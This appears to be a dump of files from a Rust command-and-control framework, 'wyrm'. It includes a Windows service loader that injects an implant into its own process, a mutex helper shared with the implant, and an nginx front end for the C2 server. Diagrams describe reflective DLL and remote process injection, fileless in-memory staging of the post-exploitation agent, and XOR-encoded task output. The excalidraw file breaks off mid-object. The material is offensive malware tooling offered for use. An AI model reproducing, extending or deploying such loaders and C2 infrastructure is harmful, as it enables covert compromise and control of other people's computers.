================================================ FILE: loader/src/main_svc.rs ================================================ #![no_std] #![no_main] #![cfg_attr(not(test), windows_subsystem = "windows")] #![no_main] use crate::injector::inject_current_process; use windows_sys::{ Win32::{ Foundation::{ERROR_SUCCESS, FALSE}, System::Services::{ RegisterServiceCtrlHandlerW, SERVICE_RUNNING, SERVICE_STATUS, SERVICE_STATUS_CURRENT_STATE, SERVICE_STATUS_HANDLE, SERVICE_TABLE_ENTRYW, SERVICE_WIN32_OWN_PROCESS, SetServiceStatus, StartServiceCtrlDispatcherW, }, }, core::PWSTR, }; mod injector; mod utils; #[cfg_attr(not(test), panic_handler)] #[allow(unused)] fn panic(_info: &core::panic::PanicInfo) -> ! { loop {} } /// Creates a service binary name, based on the malleable profile (or unwrap at comptime). The fn /// returns a PWSTR (*mut u16) which can be used in place of a PWSTR in windows_sys fn get_service_name_wide() -> [u16; 256] { let mut buf = [0u16; 256]; static mut INITIALIZED: bool = false; let svc_name = option_env!("SVC_NAME").unwrap_or("DefaultService"); let mut pos = 0; for c in svc_name.encode_utf16() { if pos < 255 { buf[pos] = c; pos += 1; } } buf[pos] = 0; buf } #[unsafe(no_mangle)] pub unsafe extern "system" fn ServiceMain(_: u32, _: *mut PWSTR) { svc_start(); } fn svc_start() { let mut svc_name = get_service_name_wide(); // register the service with SCM let h_svc = unsafe { RegisterServiceCtrlHandlerW(PWSTR::from(svc_name.as_mut_ptr()), Some(service_handler)) }; if h_svc.is_null() { return; } unsafe { update_service_status(h_svc, SERVICE_RUNNING) } inject_current_process(); } unsafe extern "system" fn service_handler(control: u32) { match control { SERVICE_CONTROL_STOP => (), _ => {} } } #[unsafe(no_mangle)] pub extern "C" fn main() -> i32 { let mut svc_name = get_service_name_wide(); let service_table = [ SERVICE_TABLE_ENTRYW { lpServiceName: PWSTR::from(svc_name.as_mut_ptr()), lpServiceProc: Some(ServiceMain), }, SERVICE_TABLE_ENTRYW::default(), ]; unsafe { if StartServiceCtrlDispatcherW(service_table.as_ptr()) == FALSE { return 1; } } 0 } pub unsafe fn update_service_status(h_status: SERVICE_STATUS_HANDLE, state: u32) { let mut service_status = SERVICE_STATUS { dwServiceType: SERVICE_WIN32_OWN_PROCESS, dwCurrentState: SERVICE_STATUS_CURRENT_STATE::from(state), dwControlsAccepted: if state == SERVICE_RUNNING { 1 } else { 0 }, dwWin32ExitCode: ERROR_SUCCESS, dwServiceSpecificExitCode: 0, dwCheckPoint: 0, dwWaitHint: 0, }; unsafe { let _ = SetServiceStatus(h_status, &mut service_status); } } ================================================ FILE: loader/src/utils.rs ================================================ use windows_sys::Win32::Foundation::MAX_PATH; /// Generates a safe system `Global` mutex name given an input string. /// /// **IMPORTANT NOTE**: This function is copied (for convenience) between loader and implant for generating a matching /// mutex name (because of nostd and shared library limits [im being lazy]). **THEREFORE** if there is a change to the /// logic in this function it **MUST** !!!!!!!!!!!! be reflected in both crates. #[allow(unused)] pub fn generate_mutex_name(mutex: &str) -> [u8; MAX_PATH as usize] { let mut mtx_name = [0u8; MAX_PATH as usize]; let mut cursor: usize = 0; const GLOBAL_PREFIX_STR: &[u8] = br"Global\"; for b in GLOBAL_PREFIX_STR { mtx_name[cursor] = *b; cursor += 1; } // Need to be very careful to check we aren't going to overflow the buffer in a way which wont panic // as a panic will lead to an infinite loop happening in the panic handler. let max_mutex_len = (MAX_PATH as usize) .saturating_sub(GLOBAL_PREFIX_STR.len()) .saturating_sub(1); let mutex_bytes = mutex.as_bytes(); let copy_len = mutex_bytes.len().min(max_mutex_len); // Now safely copy into the buffer mtx_name[cursor..cursor + copy_len].copy_from_slice(&mutex_bytes[..copy_len]); cursor += copy_len; // Add a null termiantor if cursor < MAX_PATH as usize { mtx_name[cursor] = 0; }; mtx_name } ================================================ FILE: nginx/nginx.conf ================================================ worker_processes 1; events { worker_connections 1024; } http { server { listen 80; server_name localhost 127.0.0.1; return 301 https://$host$request_uri; } server { listen 443 ssl; server_name localhost 127.0.0.1; ssl_certificate /etc/nginx/certs/cert.pem; ssl_certificate_key /etc/nginx/certs/key.pem; # The middleware should take care of preventing DOS attacks with large body sizes by filtering # on authentication ID's. client_max_body_size 0; # Allow all CORS origins # If you want something more secure (i.e. only allow from IP x you control, then configure that here) set $cors_allowed_origin $http_origin; # Set CORS headers to allow translation for OPTIONS flight location / { if ($request_method = OPTIONS) { add_header Access-Control-Allow-Origin $cors_allowed_origin always; add_header Access-Control-Allow-Methods "GET, POST, OPTIONS" always; add_header Access-Control-Allow-Headers "authorization, content-type" always; add_header Access-Control-Allow-Credentials "true" always; add_header Vary "Origin" always; return 204; } # Allow credentials add_header Access-Control-Allow-Origin $cors_allowed_origin always; add_header Access-Control-Allow-Credentials "true" always; add_header Vary "Origin" always; proxy_set_header Host $host; proxy_set_header X-Forwarded-Proto $scheme; proxy_set_header X-Forwarded-For $remote_addr; proxy_http_version 1.1; # Longer timeouts (20 mins) to allow implants to be built on the server proxy_connect_timeout 1200s; proxy_send_timeout 1200s; proxy_read_timeout 1200s; # For streaming file uploads proxy_request_buffering off; proxy_buffering off; proxy_max_temp_file_size 0; proxy_pass http://c2:13371; } } } ================================================ FILE: resources/.$wyrm_staging.drawio.bkp ================================================ <mxfile host="Electron" agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) draw.io/28.0.6 Chrome/138.0.7204.100 Electron/37.2.3 Safari/537.36" version="28.0.6"> <diagram name="Page-1" id="pI35rDyQld1ihFi_Rtdx"> <mxGraphModel dx="1425" dy="829" grid="1" gridSize="10" guides="1" tooltips="1" connect="1" arrows="1" fold="1" page="1" pageScale="1" pageWidth="1169" pageHeight="827" math="0" shadow="0"> <root> <mxCell id="0" /> <mxCell id="1" parent="0" /> <mxCell id="j1-WR9KA_NSaL3muIAW7-10" value="" style="swimlane;startSize=0;dashed=1;dashPattern=8 8;swimlaneLine=1;" vertex="1" parent="1"> <mxGeometry x="240" y="350" width="200" height="200" as="geometry"> <mxRectangle x="490" y="300" width="50" height="40" as="alternateBounds" /> </mxGeometry> </mxCell> <mxCell id="j1-WR9KA_NSaL3muIAW7-23" style="edgeStyle=orthogonalEdgeStyle;rounded=0;orthogonalLoop=1;jettySize=auto;html=1;exitX=1;exitY=0.5;exitDx=0;exitDy=0;entryX=0;entryY=0.5;entryDx=0;entryDy=0;" edge="1" parent="1" source="j1-WR9KA_NSaL3muIAW7-1" target="j1-WR9KA_NSaL3muIAW7-12"> <mxGeometry relative="1" as="geometry"> <Array as="points"> <mxPoint x="190" y="365" /> <mxPoint x="190" y="155" /> </Array> </mxGeometry> </mxCell> <mxCell id="j1-WR9KA_NSaL3muIAW7-24" style="edgeStyle=orthogonalEdgeStyle;rounded=0;orthogonalLoop=1;jettySize=auto;html=1;exitX=1;exitY=0.5;exitDx=0;exitDy=0;entryX=0;entryY=0.5;entryDx=0;entryDy=0;" edge="1" parent="1" source="j1-WR9KA_NSaL3muIAW7-1" target="j1-WR9KA_NSaL3muIAW7-10"> <mxGeometry relative="1" as="geometry"> <Array as="points"> <mxPoint x="190" y="365" /> <mxPoint x="190" y="450" /> </Array> </mxGeometry> </mxCell> <mxCell id="j1-WR9KA_NSaL3muIAW7-25" style="edgeStyle=orthogonalEdgeStyle;rounded=0;orthogonalLoop=1;jettySize=auto;html=1;exitX=1;exitY=0.5;exitDx=0;exitDy=0;entryX=0;entryY=0.5;entryDx=0;entryDy=0;" edge="1" parent="1" source="j1-WR9KA_NSaL3muIAW7-1" target="j1-WR9KA_NSaL3muIAW7-14"> <mxGeometry relative="1" as="geometry"> <Array as="points"> <mxPoint x="190" y="365" /> <mxPoint x="190" y="700" /> </Array> </mxGeometry> </mxCell> <mxCell id="j1-WR9KA_NSaL3muIAW7-1" value="C2" style="whiteSpace=wrap;html=1;aspect=fixed;" vertex="1" parent="1"> <mxGeometry x="30" y="305" width="120" height="120" as="geometry" /> </mxCell> <mxCell id="j1-WR9KA_NSaL3muIAW7-4" value="exe" style="rounded=1;whiteSpace=wrap;html=1;" vertex="1" parent="1"> <mxGeometry x="280" y="40" width="120" height="60" as="geometry" /> </mxCell> <mxCell id="j1-WR9KA_NSaL3muIAW7-5" value="dll" style="rounded=1;whiteSpace=wrap;html=1;" vertex="1" parent="1"> <mxGeometry x="280" y="120" width="120" height="60" as="geometry" /> </mxCell> <mxCell id="j1-WR9KA_NSaL3muIAW7-6" value="svc" style="rounded=1;whiteSpace=wrap;html=1;" vertex="1" parent="1"> <mxGeometry x="280" y="200" width="120" height="60" as="geometry" /> </mxCell> <mxCell id="j1-WR9KA_NSaL3muIAW7-8" value="Reflective DLL injector" style="rounded=1;whiteSpace=wrap;html=1;" vertex="1" parent="1"> <mxGeometry x="280" y="384" width="120" height="60" as="geometry" /> </mxCell> <mxCell id="j1-WR9KA_NSaL3muIAW7-9" value="Remote process DLL injection" style="rounded=1;whiteSpace=wrap;html=1;" vertex="1" parent="1"> <mxGeometry x="280" y="460" width="120" height="60" as="geometry" /> </mxCell> <mxCell id="j1-WR9KA_NSaL3muIAW7-11" value="Staged" style="text;html=1;align=center;verticalAlign=middle;resizable=0;points=[];autosize=1;strokeColor=none;fillColor=none;" vertex="1" parent="1"> <mxGeometry x="235" y="320" width="60" height="30" as="geometry" /> </mxCell> <mxCell id="j1-WR9KA_NSaL3muIAW7-12" value="" style="swimlane;startSize=0;dashed=1;dashPattern=8 8;swimlaneLine=1;" vertex="1" parent="1"> <mxGeometry x="265" y="30" width="145" height="250" as="geometry"> <mxRectangle x="490" y="300" width="50" height="40" as="alternateBounds" /> </mxGeometry> </mxCell> <mxCell id="j1-WR9KA_NSaL3muIAW7-13" value="Unstaged standalone" style="text;html=1;align=center;verticalAlign=middle;resizable=0;points=[];autosize=1;strokeColor=none;fillColor=none;" vertex="1" parent="1"> <mxGeometry x="265" width="140" height="30" as="geometry" /> </mxCell> <mxCell id="j1-WR9KA_NSaL3muIAW7-14" value="" style="swimlane;startSize=0;dashed=1;dashPattern=8 8;swimlaneLine=1;" vertex="1" parent="1"> <mxGeometry x="240" y="600" width="200" height="200" as="geometry"> <mxRectangle x="490" y="300" width="50" height="40" as="alternateBounds" /> </mxGeometry> </mxCell> <mxCell id="j1-WR9KA_NSaL3muIAW7-15" value="Reflective DLL injector" style="rounded=1;whiteSpace=wrap;html=1;" vertex="1" parent="1"> <mxGeometry x="280" y="634" width="120" height="60" as="geometry" /> </mxCell> <mxCell id="j1-WR9KA_NSaL3muIAW7-16" value="Remote process DLL injection" style="rounded=1;whiteSpace=wrap;html=1;" vertex="1" parent="1"> <mxGeometry x="280" y="710" width="120" height="60" as="geometry" /> </mxCell> <mxCell id="j1-WR9KA_NSaL3muIAW7-17" value="Unstaged" style="text;html=1;align=center;verticalAlign=middle;resizable=0;points=[];autosize=1;strokeColor=none;fillColor=none;" vertex="1" parent="1"> <mxGeometry x="240" y="570" width="70" height="30" as="geometry" /> </mxCell> <mxCell id="j1-WR9KA_NSaL3muIAW7-20" value="Downloads machine&nbsp;<div>code so postex agent never&nbsp;</div><div>exists on disk</div>" style="text;html=1;align=center;verticalAlign=middle;resizable=0;points=[];autosize=1;strokeColor=#A50040;fillColor=#d80073;fontColor=#ffffff;" vertex="1" parent="1"> <mxGeometry x="480" y="305" width="170" height="60" as="geometry" /> </mxCell> <mxCell id="j1-WR9KA_NSaL3muIAW7-22" value="" style="endArrow=classic;html=1;rounded=0;exitX=1.001;exitY=0.473;exitDx=0;exitDy=0;exitPerimeter=0;entryX=1;entryY=0.5;entryDx=0;entryDy=0;fillColor=#d80073;strokeColor=#A50040;" edge="1" parent="1" source="j1-WR9KA_NSaL3muIAW7-10" target="j1-WR9KA_NSaL3muIAW7-5"> <mxGeometry width="50" height="50" relative="1" as="geometry"> <mxPoint x="420" y="390" as="sourcePoint" /> <mxPoint x="470" y="340" as="targetPoint" /> <Array as="points"> <mxPoint x="490" y="240" /> </Array> </mxGeometry> </mxCell> </root> </mxGraphModel> </diagram> </mxfile> ================================================ FILE: resources/wyrm.excalidraw ================================================ { "type": "excalidraw", "version": 2, "source": "https://excalidraw.com", "elements": [ { "id": "Sz3dKTQvRY7HxYDeWNekh", "type": "arrow", "x": 2027.8794172167454, "y": 301.14605219925386, "width": 412.75163364982336, "height": 102.65339548935737, "angle": 0, "strokeColor": "#2f9e44", "backgroundColor": "#b2f2bb", "fillStyle": "solid", "strokeWidth": 2, "strokeStyle": "solid", "roughness": 1, "opacity": 100, "groupIds": [], "frameId": null, "index": "b1H", "roundness": { "type": 2 }, "seed": 1366316258, "version": 104, "versionNonce": 1548041045, "isDeleted": false, "boundElements": [], "updated": 1758737734794, "link": null, "locked": false, "points": [ [ 0, 0 ], [ 204.86343289243723, -101.3991352297158 ], [ 412.75163364982336, 1.254260259641569 ] ], "lastCommittedPoint": null, "startBinding": { "elementId": "kdfuRu4s8bik_ez2pULmk", "focus": -0.9069016611370817, "gap": 5.000016153219721 }, "endBinding": { "elementId": "8fIX6pH4--tzFyoHLTgpQ", "focus": 0.7873472271142619, "gap": 5.000031138182339 }, "startArrowhead": null, "endArrowhead": "arrow", "elbowed": false, "fixedSegments": null, "startIsSpecial": null, "endIsSpecial": null }, { "id": "zh7Jlgb1ymz0nMJii3nyx", "type": "arrow", "x": 2024.782091588982, "y": 381.1594177756191, "width": 422.1159962933152, "height": 111.50231443984876, "angle": 0, "strokeColor": "#2f9e44", "backgroundColor": "#b2f2bb", "fillStyle": "solid", "strokeWidth": 2, "strokeStyle": "solid", "roughness": 1, "opacity": 100, "groupIds": [], "frameId": null, "index": "b1I", "roundness": { "type": 2 }, "seed": 1462583522, "version": 91, "versionNonce": 1648267387, "isDeleted": false, "boundElements": [], "updated": 1758737734794, "link": null, "locked": false, "points": [ [ 0, 0 ], [ 203.53606296690896, 106.19269327899809 ], [ 422.1159962933152, -5.309621160850668 ] ], "lastCommittedPoint": null, "startBinding": { "elementId": "kdfuRu4s8bik_ez2pULmk", "focus": 0.9390579223449314, "gap": 3.6006149698220486 }, "endBinding": { "elementId": "8fIX6pH4--tzFyoHLTgpQ", "focus": -0.8628817007911275, "gap": 2.0450184719900752 }, "startArrowhead": null, "endArrowhead": "arrow", "elbowed": false }, { "id": "VA40uiPs2lasb2JEjEvkE", "type": "rectangle", "x": 449.60003662109375, "y": 216, "width": 195.20001220703125, "height": 208.0000305175781, "angle": 0, "strokeColor": "#1e1e1e", "backgroundColor": "transparent", "fillStyle": "solid", "strokeWidth": 2, "strokeStyle": "solid", "roughness": 1, "opacity": 100, "groupIds": [], "frameId": null, "index": "b1J", "roundness": { "type": 3 }, "seed": 1379002584, "version": 202, "versionNonce": 1393363125, "isDeleted": false, "boundElements": [ { "id": "yteNaZd4r-GjMYr3w2kNt", "type": "arrow" } ], "updated": 1758737734794, "link": null, "locked": false }, { "id": "5B-Fo2B-D2BpTxVAv6HOO", "type": "text", "x": 460, "y": 240, "width": 149.8541717529297, "height": 25, "angle": 0, "strokeColor": "#e03131", "backgroundColor": "transparent", "fillStyle": "solid", "strokeWidth": 2, "strokeStyle": "solid", "roughness": 1, "opacity": 100, "groupIds": [], "frameId": null, "index": "b1K", "roundness": null, "seed": 1221525208, "version": 52, "versionNonce": 1991035163, "isDeleted": false, "boundElements": [], "updated": 1758737734794, "link": null, "locked": false, "text": "Completed task", "fontSize": 20, "fontFamily": 5, "textAlign": "left", "verticalAlign": "top", "containerId": null, "originalText": "Completed task", "autoResize": true, "lineHeight": 1.25 }, { "id": "Pt77bgVBr-F3is5WowNg4", "type": "text", "x": 463.60003662109375, "y": 282, "width": 134.8541717529297, "height": 125, "angle": 0, "strokeColor": "#1e1e1e", "backgroundColor": "transparent", "fillStyle": "solid", "strokeWidth": 2, "strokeStyle": "solid", "roughness": 1, "opacity": 100, "groupIds": [], "frameId": null, "index": "b1L", "roundness": null, "seed": 1737734360, "version": 83, "versionNonce": 775170581, "isDeleted": false, "boundElements": [], "updated": 1758737734794, "link": null, "locked": false, "text": "{ \n ID, \n Command, \n Metadata \n}", "fontSize": 20, "fontFamily": 5, "textAlign": "left", "verticalAlign": "top", "containerId": null, "originalText": "{ \n ID, \n Command, \n Metadata \n}", "autoResize": true, "lineHeight": 1.25 }, { "id": "k5zYcOQoyDiAjOB_Sp8R4", "type": "rectangle", "x": 687.1999206542969, "y": 290.39996337890625, "width": 195.20001220703125, "height": 64.00003051757815, "angle": 0, "strokeColor": "#1e1e1e", "backgroundColor": "transparent", "fillStyle": "solid", "strokeWidth": 2, "strokeStyle": "solid", "roughness": 1, "opacity": 100, "groupIds": [], "frameId": null, "index": "b1M", "roundness": { "type": 3 }, "seed": 279179432, "version": 353, "versionNonce": 504032699, "isDeleted": false, "boundElements": [ { "id": "FsxkCTZ6Hy83ZEqX3nqg_", "type": "arrow" } ], "updated": 1758737734794, "link": null, "locked": false }, { "id": "aBUMf7T5Wd18HTqWlTq49", "type": "text", "x": 698.3999328613281, "y": 314.39996337890625, "width": 167.2916717529297, "height": 25, "angle": 0, "strokeColor": "#1e1e1e", "backgroundColor": "transparent", "fillStyle": "solid", "strokeWidth": 2, "strokeStyle": "solid", "roughness": 1, "opacity": 100, "groupIds": [], "frameId": null, "index": "b1N", "roundness": null, "seed": 1529846696, "version": 268, "versionNonce": 1320165237, "isDeleted": false, "boundElements": [ { "id": "yteNaZd4r-GjMYr3w2kNt", "type": "arrow" } ], "updated": 1758737734794, "link": null, "locked": false, "text": "UTF-16 Encoding", "fontSize": 20, "fontFamily": 5, "textAlign": "left", "verticalAlign": "top", "containerId": null, "originalText": "UTF-16 Encoding", "autoResize": true, "lineHeight": 1.25 }, { "id": "AwfI5Ls_8AiXcyb7mn6pG", "type": "rectangle", "x": 916.7999572753906, "y": 284.8000030517578, "width": 195.20001220703125, "height": 74.40005493164061, "angle": 0, "strokeColor": "#1e1e1e", "backgroundColor": "transparent", "fillStyle": "solid", "strokeWidth": 2, "strokeStyle": "solid", "roughness": 1, "opacity": 100, "groupIds": [], "frameId": null, "index": "b1O", "roundness": { "type": 3 }, "seed": 931660968, "version": 445, "versionNonce": 1266384475, "isDeleted": false, "boundElements": [], "updated": 1758737734794, "link": null, "locked": false }, { "id": "MaHQEUqaK4McQGByg4842", "type": "text", "x": 927.9999694824219, "y": 298.3999786376953, "width": 144.1666717529297, "height": 50, "angle": 0, "strokeColor": "#1e1e1e", "backgroundColor": "transparent", "fillStyle": "solid", "strokeWidth": 2, "strokeStyle": "solid", "roughness": 1, "opacity": 100, "groupIds": [], "frameId": null, "index": "b1P", "roundness": null, "seed": 879833000, "version": 407, "versionNonce": 1522952405, "isDeleted": false, "boundElements": [ { "id": "FsxkCTZ6Hy83ZEqX3nqg_", "type": "arrow" }, { "id": "cmmkjy96VuKl3Qp6OhWee", "type": "arrow" } ], "updated": 1758737734794, "link": null, "locked": false, "text": "Streamed into \nVec<Vec<u16>>", "fontSize": 20, "fontFamily": 5, "textAlign": "left", "verticalAlign": "top", "containerId": null, "originalText": "Streamed into \nVec<Vec<u16>>", "autoResize": true, "lineHeight": 1.25 }, { "id": "1B6bCN3e-zij7fTOa75Sj", "type": "rectangle", "x": 919.2001647949219, "y": 403.5999298095703, "width": 195.20001220703125, "height": 97.60006713867189, "angle": 0, "strokeColor": "#1e1e1e", "backgroundColor": "transparent", "fillStyle": "solid", "strokeWidth": 2, "strokeStyle": "solid", "roughness": 1, "opacity": 100, "groupIds": [], "frameId": null, "index": "b1Q", "roundness": { "type": 3 }, "seed": 2078685912, "version": 562, "versionNonce": 1775303419, "isDeleted": false, "boundElements": [ { "id": "cmmkjy96VuKl3Qp6OhWee", "type": "arrow" } ], "updated": 1758737734794, "link": null, "locked": false }, { "id": "Kg1aJBBQHNPkf14XSzi71", "type": "text", "x": 930.4001770019531, "y": 417.1999053955078, "width": 160.7916717529297, "height": 75, "angle": 0, "strokeColor": "#1e1e1e", "backgroundColor": "transparent", "fillStyle": "solid", "strokeWidth": 2, "strokeStyle": "solid", "roughness": 1, "opacity": 100, "groupIds": [], "frameId": null, "index": "b1R", "roundness": null, "seed": 101261272, "version": 596, "versionNonce": 336365109, "isDeleted": false, "boundElements": [ { "id": "Zo1y163vbdjw_ljijLnb4", "type": "arrow" } ], "updated": 1758737734794, "link": null, "locked": false, "text": "Each completed \ntask encoded as\nbytes (u8)", "fontSize": 20, "fontFamily": 5, "textAlign": "left", "verticalAlign": "top", "containerId": null, "originalText": "Each completed \ntask encoded as\nbytes (u8)", "autoResize": true, "lineHeight": 1.25 }, { "id": "yteNaZd4r-GjMYr3w2kNt", "type": "arrow", "x": 644.8000793457031, "y": 324.7999572753906, "width": 40.79998779296875, "height": 0, "angle": 0, "strokeColor": "#1e1e1e", "backgroundColor": "transparent", "fillStyle": "solid", "strokeWidth": 2, "strokeStyle": "solid", "roughness": 1, "opacity": 100, "groupIds": [], "frameId": null, "index": "b1S", "roundness": { "type": 2 }, "seed": 1626620328, "version": 40, "versionNonce": 1703797659, "isDeleted": false, "boundElements": [], "updated": 1758737734794, "link": null, "locked": false, "points": [ [ 0, 0 ], [ 40.79998779296875, 0 ] ], "lastCommittedPoint": null, "startBinding": { "elementId": "VA40uiPs2lasb2JEjEvkE", "focus": 0.046153281849599416, "gap": 1 }, "endBinding": { "elementId": "aBUMf7T5Wd18HTqWlTq49", "focus": 0.16800048828124892, "gap": 12.79986572265625 }, "startArrowhead": null, "endArrowhead": "arrow", "elbowed": false }, { "id": "FsxkCTZ6Hy83ZEqX3nqg_", "type": "arrow", "x": 884.800048828125, "y": 323.1999816894531, "width": 29.60003662109375, "height": 0, "angle": 0, "strokeColor": "#1e1e1e", "backgroundColor": "transparent", "fillStyle": "solid", "strokeWidth": 2, "strokeStyle": "solid", "roughness": 1, "opacity": 100, "groupIds": [], "frameId": null, "index": "b1T", "roundness": { "type": 2 }, "seed": 1388352424, "version": 22, "versionNonce": 1835530133, "isDeleted": false, "boundElements": [], "updated": 1758737734794, "link": null, "locked": false, "points": [ [ 0, 0 ], [ 29.60003662109375, 0 ] ], "lastCommittedPoint": null, "startBinding": { "elementId": "k5zYcOQoyDiAjOB_Sp8R4", "focus": 0.025000083446462432, "gap": 2.400115966796875 }, "endBinding": { "elementId": "MaHQEUqaK4McQGByg4842", "focus": 0.007999877929687444, "gap": 13.599884033203125 }, "startArrowhead": null, "endArrowhead": "arrow", "elbowed": false }, { "id": "cmmkjy96VuKl3Qp6OhWee", "type": "arrow", "x": 1014.3341259832899, "y": 359.1999816894532, "width": 0.7305946363883322, "height": 41.59997558593744, "angle": 0, "strokeColor": "#1e1e1e", "backgroundColor": "transparent", "fillStyle": "solid", "strokeWidth": 2, "strokeStyle": "solid", "roughness": 1, "opacity": 100, "groupIds": [], "frameId": null, "index": "b1U", "roundness": { "type": 2 }, "seed": 1211376296, "version": 53, "versionNonce": 1994700859, "isDeleted": false, "boundElements": [], "updated": 1758737734794, "link": null, "locked": false, "points": [ [ 0, 0 ], [ 0.7305946363883322, 41.59997558593744 ] ], "lastCommittedPoint": null, "startBinding": { "elementId": "MaHQEUqaK4McQGByg4842", "focus": -0.18781090042906848, "gap": 10.800003051757812 }, "endBinding": { "elementId": "1B6bCN3e-zij7fTOa75Sj", "focus": -0.008451151455300888, "gap": 2.7999725341796875 }, "startArrowhead": null, "endArrowhead": "arrow", "elbowed": false }, { "id": "AjeWpdFWHnaKUrt5Q52QV", "type": "text", "x": 705.6000366210938, "y": 191.99996948242188, "width": 402.7708435058594, "height": 75, "angle": 0, "strokeColor": "#1971c2", "backgroundColor": "transparent", "fillStyle": "solid", "strokeWidth": 2, "strokeStyle": "solid", "roughness": 1, "opacity": 100, "groupIds": [], "frameId": null, "index": "b1V", "roundness": null, "seed": 1409624488, "version": 165, "versionNonce": 1628323061, "isDeleted": false, "boundElements": [], "updated": 1758737734794, "link": null, "locked": false, "text": "UTF-16 encoding done to preserve\nwide strings for transport when reverted\nto bytes.", "fontSize": 20, "fontFamily": 5, "textAlign": "left", "verticalAlign": "top", "containerId": null, "originalText": "UTF-16 encoding done to preserve\nwide strings for transport when reverted\nto bytes.", "autoResize": true, "lineHeight": 1.25 }, { "id": "n3kLd9IW8_Pzc6sJwm9ct", "type": "rectangle", "x": 922.4000549316406, "y": 533.1999053955078, "width": 195.20001220703125, "height": 74.40005493164061, "angle": 0, "strokeColor": "#1e1e1e", "backgroundColor": "transparent", "fillStyle": "solid", "strokeWidth": 2, "strokeStyle": "solid", "roughness": 1, "opacity": 100, "groupIds": [], "frameId": null, "index": "b1W", "roundness": { "type": 3 }, "seed": 98350248, "version": 505, "versionNonce": 733477083, "isDeleted": false, "boundElements": [ { "id": "Zo1y163vbdjw_ljijLnb4", "type": "arrow" } ], "updated": 1758737734794, "link": null, "locked": false }, { "id": "VAb2gDMUFM3yJYInHCu-9", "type": "text", "x": 933.6000671386719, "y": 546.7998809814453, "width": 157.3125, "height": 50, "angle": 0, "strokeColor": "#e03131", "backgroundColor": "transparent", "fillStyle": "solid", "strokeWidth": 2, "strokeStyle": "solid", "roughness": 1, "opacity": 100, "groupIds": [], "frameId": null, "index": "b1X", "roundness": null, "seed": 883941288, "version": 499, "versionNonce": 109368917, "isDeleted": false, "boundElements": [ { "id": "Zo1y163vbdjw_ljijLnb4", "type": "arrow" } ], "updated": 1758737734794, "link": null, "locked": false, "text": "Each byte XOR \nencoded in place", "fontSize": 20, "fontFamily": 5, "textAlign": "left", "verticalAlign": "top", "containerId": null, "originalText": "Each byte XOR \nencoded in place", "autoResize": true, "lineHeight": 1.25 }, { "id": "Zo1y163vbdjw_ljijLnb4", "type": "arrow", "x": 1012.0000610351562, "y": 502.39996337890625, "width": 0.79998779296875, "height": 28.970529011541316, "angle": 0, "strokeColor": "#1e1e1e", "backgroundColor": "transparent", "fillStyle": "solid", "strokeWidth": 2, "strokeStyle": "solid", "roughness": 1, "opacity": 100, "groupIds": [], "frameId": null, "index": "b1Y", "roundness": { "type": 2 }, "seed": 187964632, "version": 29, "versionNonce": 832185723, "isDeleted": false, "boundElements": [], "updated": 1758737734794, "link": null, "locked": false, "points": [ [ 0, 0 ], [ 0.79998779296875, 28.970529011541316 ] ], "lastCommittedPoint": null, "startBinding": { "elementId": "Kg1aJBBQHNPkf14XSzi71", "focus": 0.00023367415117407024, "gap": 10.200057983398438 }, "endBinding": { "elementId": "n3kLd9IW8_Pzc6sJwm9ct", "focus": -0.06207472736527731, "gap": 1.8294130050602462 }, "startArrowhead": null, "endArrowhead": "arrow", "elbowed": false }, { "id": "snm6xczijuzYQQ4GW72SA", "type": "rectangle", "x": 885.8654156624303, "y": 383.8142621137925, "width": 270.7912868428497, "height": 244.24318103859645, "angle": 0, "strokeColor": "#f08c00", "backgroundColor": "transparent", "fillStyle": "solid", "strokeWidth": 2, "strokeStyle": "solid", "roughness": 1, "opacity": 100, "groupIds": [], "frameId": null, "index": "b1Z", "roundness": { "type": 3 }, "seed": 1049541080, "version": 61, "versionNonce": 1755399093, "isDeleted": false, "boundElements": [ { "id": "pv1SPlNwBtcT9YTylyOrF", "type": "arrow" } ], "updated": 1758737734794, "link": null, "locked": false }, { "id": "R5E7VSRkGePjkdrYOEk7_", "type": "rectangle", "x": 871.7063358795003, "y": 669.6496218626273, "width": 299.10951392420543, "height": 104.42277454838401, "angle": 0, "strokeColor": "#1e1e1e", "backgroundColor": "transparent", "fillStyle": "solid", "strokeWidth": 2, "strokeStyle": "solid", "roughness": 1, "opacity": 100, "groupIds": [], "frameId": null, "index": "b1a", "roundness": { "type": 3 }, "seed": 1920741032, "version": 170, "versionNonce": 1607319067, "isDeleted": false, "boundElements": [], "updated": 1758737734794, "link": null, "locked": false }, { "id": "qVfb2A8gAjHk3kiCvBxNh", "type": "text", "x": 886.0865964276978, "y": 686.4634784682348, "width": 277.4375, "height": 75, "angle": 0, "strokeColor": "#1e1e1e", "backgroundColor": "transparent", "fillStyle": "solid", "strokeWidth": 2, "strokeStyle": "solid", "roughness": 1, "opacity": 100, "groupIds": [], "frameId": null, "index": "b1b", "roundness": null, "seed": 438009768, "version": 172, "versionNonce": 461964565, "isDeleted": false, "boundElements": [ { "id": "pv1SPlNwBtcT9YTylyOrF", "type": "arrow" }, { "id": "QIbZK4QfkGV5c1HImUv0e", "type": "arrow" } ], "updated": 1758737734794, "link": null, "locked": false, "text": "Produces a Vec<Vec<u8>>\nwhich gets flattened into a \nsingle stream (Vec<u8>)", "fontSize": 20, "fontFamily": 5, "textAlign": "left", "verticalAlign": "top", "containerId": null, "originalText": "Produces a Vec<Vec<u8>>\nwhich gets flattened into a \nsingle stream (Vec<u8>)", "autoResize": true, "lineHeight": 1.25 }, { "id": "pv1SPlNwBtcT9YTylyOrF", "type": "arrow", "x": 1015.0665123154454, "y": 628.9423687599478, "width": 0.8849256075591256, "height": 39.82225997962428, "angle": 0, "strokeColor": "#f08c00", "backgroundColor": "transparent", "fillStyle": "solid", "strokeWidth": 2, "strokeStyle": "solid", "roughness": 1, "opacity": 100, "groupIds": [], "frameId": null, "index": "b1c", "roundness": { "type": 2 }, "seed": 1508125608, "version": 37, "versionNonce": 21316283, "isDeleted": false, "boundElements": [], "updated": 1758737734794, "link": null, "locked": false, "points": [ [ 0, 0 ], [ 0.8849256075591256, 39.82225997962428 ] ], "lastCommittedPoint": null, "startBinding": { "elementId": "snm6xczijuzYQQ4GW72SA", "focus": 0.06464427632465553, "gap": 1 }, "endBinding": { "elementId": "qVfb2A8gAjHk3kiCvBxNh", "focus": -0.054655485102515944, "gap": 17.698849728662708 }, "startArrowhead": null, "endArrowhead": "arrow", "elbowed": false }, { "id": "L3Kj0G5tlFPUmEXa2Di6A", "type": "rectangle", "x": 677.6480882421212, "y": 689.860960120282, "width": 145.64336799776856, "height": 69.30965167842876, "angle": 0, "strokeColor": 